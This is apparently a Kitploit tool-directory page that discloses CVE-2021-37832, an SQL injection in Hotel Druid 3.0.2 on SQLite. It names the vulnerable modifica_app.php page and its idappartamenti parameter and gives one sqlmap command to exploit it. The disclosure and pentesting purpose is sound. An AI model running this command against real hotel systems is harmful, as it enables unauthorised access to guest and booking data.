Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-37832 — CVE-2021-37832 - Hotel Druid 3.0.2 SQL Injection Vulnerability - 9.8 CVSS 3.1 | Kitploit
Tools/GitHubGitHub/dievus/cve-2021-37832
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubdievus/cve-2021-37832

CVE-2021-37832

CVE-2021-37832 - Hotel Druid 3.0.2 SQL Injection Vulnerability - 9.8 CVSS 3.1

View Repository
4125 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE 2021-37832 Hotel Druid 3.0.2 SQL Injection Vulnerability

A SQL injection vulnerability exists in version 3.0.2 of Hotel Druid when SQLite is being used as the application database. A malicious attacker can issue SQL commands to the SQLite database through the vulnerable idappartamenti parameter.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832

https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716

Vulnerable PHP Page:

modifica_app.php - idappartamenti parameter

Vulnerable Payload

sqlmap -u "/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite

Discovered by Joe Helle, July 2021

Download Tool